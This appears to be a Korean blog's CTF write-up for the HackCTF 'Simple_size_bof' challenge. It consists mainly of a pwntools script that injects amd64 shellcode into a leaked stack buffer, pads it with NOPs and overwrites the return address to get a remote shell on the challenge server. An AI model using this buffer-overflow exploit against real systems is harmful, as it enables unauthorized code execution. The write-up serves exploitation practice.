간단하다.

그냥 v4 주소 받고, v4에 쉘코드 넣고 나머지 + 8 만큼 \x90으로 채운 뒤 v4의 주소를 써서 RET 을 덮어 씌우면 된다.

from pwn import *

#p = process("./Simple_size_bof")
p = remote('ctf.j0n9hyun.xyz', 3005)

buffsize = 0x6d30

context(arch='amd64', os='linux')
shell = asm(shellcraft.amd64.linux.sh())

p.recvuntil('buf: ')
buffloc = int(p.recv(14), 16)

payload = b''
payload += shell
payload += b'\x90' * (buffsize - len(shell) + 8)
payload += p64(buffloc)

p.sendline(payload)

p.interactive()

 

728x90

'해킹 > writeup' 카테고리의 다른 글

12. HackCTF - RTL_World  (0) 2021.07.18
9. HackCTF - Offset  (0) 2021.07.11
7. HackCTF - 내 버퍼가 흘러넘친다!!!  (0) 2021.07.11
6. DreamHack - basic_exploitation_000  (0) 2021.07.11
5. HackCTF - Simple_Overflow_ver_2  (0) 2021.07.11

+ Recent posts